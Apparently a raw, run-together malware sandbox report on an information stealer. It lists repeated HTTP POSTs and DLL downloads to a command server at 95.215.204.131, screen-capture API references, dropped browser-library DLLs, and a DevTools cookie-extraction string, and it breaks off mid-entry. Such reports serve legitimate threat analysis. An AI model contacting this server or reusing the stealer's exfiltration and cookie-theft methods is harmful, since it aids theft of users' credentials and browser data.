header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIECBFIDGDAKFHIEHJKHost: 95.215.204.131Content-Length: 268Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CAKKKJEHDBGIDHJKJDBFHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKKKJEHDBGIDHJKJDBFHost: 95.215.204.131Content-Length: 3555Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/sqlite3.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "AEBKFIJEGCAAFHJKFCFCHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEBKFIJEGCAAFHJKFCFCHost: 95.215.204.131Content-Length: 427Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "GIIIECBGDHJJKFIDAKJDHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIIIECBGDHJJKFIDAKJDHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "IJDHCBGHJEGHJJKFHIIEHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 95.215.204.131Content-Length: 14383Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "KJDHCAFCGDAAKEBFIJDGHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KJDHCAFCGDAAKEBFIJDGHost: 95.215.204.131Content-Length: 4643Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "HDAKJDHIEBFIIDGDGDBAHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBAHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/freebl3.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/mozglue.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/msvcp140.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/nss3.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/softokn3.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "131Cache" in header "GET /9c4ff1f7c1a7004e/vcruntime140.dll HTTP/1.1Host: 95.215.204.131Cache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "CAFIEBKKJJDAKFHIDBFHHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIEBKKJJDAKFHIDBFHHost: 95.215.204.131Content-Length: 21799Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "AAEHIDAKECFIEBGDHJEBHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AAEHIDAKECFIEBGDHJEBHost: 95.215.204.131Content-Length: 3703Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "JJJJDAAECGHDGDGCGHDBHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJJDAAECGHDGDGCGHDBHost: 95.215.204.131Content-Length: 267Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "DHDAFBFCFHIDAKFIIEBAHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHDAFBFCFHIDAKFIIEBAHost: 95.215.204.131Content-Length: 265Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "GIEGHJEGHJKFIEBFHJKKHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GIEGHJEGHJKFIEBFHJKKHost: 95.215.204.131Content-Length: 363Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "EHJKFCGHIDHCBGDHJKEBHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJKFCGHIDHCBGDHJKEBHost: 95.215.204.131Content-Length: 1339Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "POST" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "1Content" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Type" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "data" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "GDHIIDAFIDGCFHJJDGDAHost" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache" Contains base64 string in header "Keep" in header "POST /f0592db368f6bb51.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GDHIIDAFIDGCFHJJDGDAHost: 95.215.204.131Content-Length: 62219Connection: Keep-AliveCache-Control: no-cache"28:T884,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "CreateDCA" (Indicator: "CreateDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00001720.00000000.180784.03070000.00000004.mdmp")29:T714,"nss3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "chrome.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\chrome.dll]- [targetUID: 00000000-00001720] "freebl3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\freebl3.dll]- [targetUID: 00000000-00001720] "mozglue.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\mozglue.dll]- [targetUID: 00000000-00001720] "msvcp140_1_.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "softokn3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "vcruntime140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\vcruntime140.dll]- [targetUID: 00000000-00001720] "nss3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\nss3.dll]- [targetUID: 00000000-00001720] "freebl3_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "mozglue_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720] "msvcp140.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\msvcp140.dll]- [targetUID: 00000000-00001720] "softokn3.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\softokn3.dll]- [targetUID: 00000000-00001720] "vcruntime140_1_.dll" has type "PE32 executable (DLL) (console) Intel 80386 for MS Windows"- [targetUID: 00000000-00001720]2a:T2d25,Pattern match: "https://clients2.google.com/cr/report" Heuristic match: "si25r.ky" Heuristic match: "%v,n.sb" Heuristic match: "v;.ag" Heuristic match: "xp.pn" Heuristic match: "d&.fj" Pattern match: "crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0h" Pattern match: "support.mozilla.org/en-us/products/firefoxgro.allizom.troppus.inzda42ct3f8+https://app.vssps.visualstudio.com/_signin?realm=my.visualstudio.com&reply_to=https%3a%2f%2fmy.visualstudio.com%2fbenefits%3fwt.mc_id%3do~msft~vscom~nav%26campaign%3do~msft~vscom~na" Pattern match: "8vuumicrosoft.commuid12a11495-8216-468c-b4ef-91a01564edd7.microsoft.com/_q1,9microsoft.comthx_guid459f7c585ccc4e1bae96039138b93fdevlscppe.microsoft.com/dq1,9visualstudio.comfedauth1d01nazvcrm1hu0nftjz5bfnfbezqafk4cxavdwtargftwutlntjhrhrrwnvnywjpwkg0rhyryun" Pattern match: "search.yahoo.com/favicon.icohttps://search.yahoo.com/search{google:pathwildcard}?ei={inputencoding}&fr=crmas_sfp&p={searchterms}utf-8https://search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas_sfp&command={searchterms}485bf7d3-0215-45af-87dc-53886800000" Pattern match: "www.bing.com/sa/simg/bing_p_rr_teal_min.icohttps://www.bing.com/search?q={searchterms}&pc=u316&form=chromnutf-8https://www.bing.com/osjson.aspx?query={searchterms}&language={language}&pc=u316485bf7d3-0215-45af-87dc-538868000003[]https://www.bing.com/images" Pattern match: "https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverageminutes=2880&enablenetworkfirst=true&navageminutes=2880&enablenavpreload=true&enableemptysectionroute=true&enablefallbackverticalsfeed=true&networktimeoutseco" Heuristic match: "accounts.google.com" Heuristic match: "clientservices.googleapis.com" Pattern match: "www.google.com" Pattern match: "www.gstatic.com" Pattern match: "www.msn.com/https://ad.doubleclick.net/searchads/link/click?lid=43700052806461236&ds_s_kwgid=58700005784608555&ds_a_cid=405525800&ds_a_caid=97643834" Pattern match: "https://support.mozilla.org/en-us/products/firefoxhttps://www.mozilla.org/en-us/firefox/customize/https://www.mozilla.org/en-us/contribute/https://www.mozilla.org/en-us/about/https://www.mozilla.org/en-us/firefox/central/https://www.mozilla.org/privacy/fi" Pattern match: "www215.204.131/" Pattern match: "http://95.215.204.131/" Pattern match: "http://95.215.204.131/f0592db368f6bb51.php" Pattern match: "http://www.w3.org/2001/xmlschema-instance" Heuristic match: "ws@.ws" Pattern match: "http://95.215.204.131" Pattern match: "http://95.215.204.131/9c4ff1f7c1a7004e/sqlite3.dll" Heuristic match: "ex.pr" Heuristic match: "w6e6.cx" Heuristic match: "s$$.is" Heuristic match: "@m.an" Pattern match: "http://localhost:9229/json" Heuristic match: "reservedclosepingpong{id: 1, method: network.getallcookies}failed to convert result to cstringmy_library\src\lib.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\protocol\mod.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\client.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\header\map.rs" Heuristic match: "frameheaderbug: no frame headerc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\protocol\frame\mod.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\vec\mod.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\buffer.rs" Heuristic match: "bug: opcode out of rangec:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\protocol\frame\coding.rs" Heuristic match: "someinteger overflow when calculating buffer sizec:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\base64-0.13.1\src\encode.rs" Heuristic match: "a display implementation returned an error unexpectedly/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\string.rs" Heuristic match: "errorbug: blocking handshake not blockedc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\client.rs" Heuristic match: "tungstenite::clientwswssc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\http-0.2.12\src\header\map.rs" Heuristic match: "bug: no http versionc:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\handshake\client.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\io\mod.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\alloc\src\slice.rs" Heuristic match: "/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\core\src\str\mod.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\tungstenite-0.17.3\src\handshake\client.rs" Heuristic match: "abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789-_./0123456789abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz./abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789" Heuristic match: "cannot access a thread local storage value during or after destruction/rustc/f6e511eec7342f59a25f7c0534f1dbea00d01b14\library\std\src\thread\local.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\rand-0.8.5\src\rngs\thread.rs" Heuristic match: "c:\users\heapdestroy\.cargo\registry\src\index.crates.io-6f17d22bba15001f\rand_chacha-0.3.1\src\guts.rs" Pattern match: 